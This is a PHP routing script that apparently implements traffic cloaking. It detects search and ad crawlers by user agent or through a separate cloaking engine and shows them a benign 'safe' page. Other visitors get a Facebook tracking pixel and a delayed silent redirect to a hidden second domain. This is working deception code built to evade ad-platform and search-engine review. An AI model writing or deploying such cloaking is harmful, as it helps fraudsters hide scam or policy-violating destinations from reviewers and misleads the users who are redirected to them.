<?php
define("PROJECT_ROOT", "/www/wwwroot/frend.live");

$isPreview = isset($_GET["preview"]) && $_GET["preview"] === "1";
if ($isPreview) {
    require_once PROJECT_ROOT . "/config/constants.php";
    require_once PROJECT_ROOT . "/src/Database.php";
    require_once PROJECT_ROOT . "/src/Settings.php";
    require_once PROJECT_ROOT . "/src/PixelManager.php";
    require PROJECT_ROOT . "/public/safe.php";
    exit;
}

if (strpos($_SERVER["REQUEST_URI"], "/admin/") === 0) {
    return false;
}
if (strpos($_SERVER["REQUEST_URI"], "/pixel.php") !== false) {
    return false;
}

require_once PROJECT_ROOT . "/config/constants.php";
require_once PROJECT_ROOT . "/src/Database.php";
require_once PROJECT_ROOT . "/src/Settings.php";
require_once PROJECT_ROOT . "/src/Logger.php";

$cloakFile = PROJECT_ROOT . "/src/CloakEngine.php";
$hasCloak = file_exists($cloakFile);
if ($hasCloak) require_once $cloakFile;

$ip = $_SERVER["REMOTE_ADDR"] ?? "0.0.0.0";
$ua = $_SERVER["HTTP_USER_AGENT"] ?? "";
if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $fwd = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]);
    $ip = trim($fwd[0]);
} elseif (!empty($_SERVER["HTTP_X_REAL_IP"])) {
    $ip = $_SERVER["HTTP_X_REAL_IP"];
}

$isBot = false;
$action = "redirect";
if ($hasCloak) {
    $r = CloakEngine::detect($ip, $ua);
    $isBot = $r["isBot"] ?? false;
    $action = $r["action"] ?? "redirect";
} else {
    $bots = ["Googlebot","Bingbot","Baiduspider","YandexBot","Slurp","DuckDuckBot","facebookexternalhit","Sogou"];
    foreach ($bots as $b) {
        if (stripos($ua, $b) !== false) { $isBot = ($b !== "facebookexternalhit"); $action = "serve"; break; }
    }
}

$domainB = Settings::get("domain_b");
Logger::log($ip, $ua, $isBot, $action, ($action === "redirect" && !empty($domainB)) ? $domainB : "");

if ($action === "serve" || empty($domainB)) {
    require_once PROJECT_ROOT . "/src/PixelManager.php";
    require PROJECT_ROOT . "/public/safe.php";
} else {
    // Fire pixel before redirect - output an img tag then redirect
    $pid = Settings::get("fb_pixel_id") ?? "";
    echo "<!DOCTYPE html><html><head>";
    if ($pid) {
        echo "<img src=\"https://www.facebook.com/tr?id={$pid}&ev=PageView&noscript=1\" width=\"1\" height=\"1\" style=\"display:none\" />";
    }
    echo "<script>setTimeout(function(){window.location.href=\"" . addslashes($domainB) . "\";},500);</script>";
    echo "</head><body></body></html>";
    exit;
}
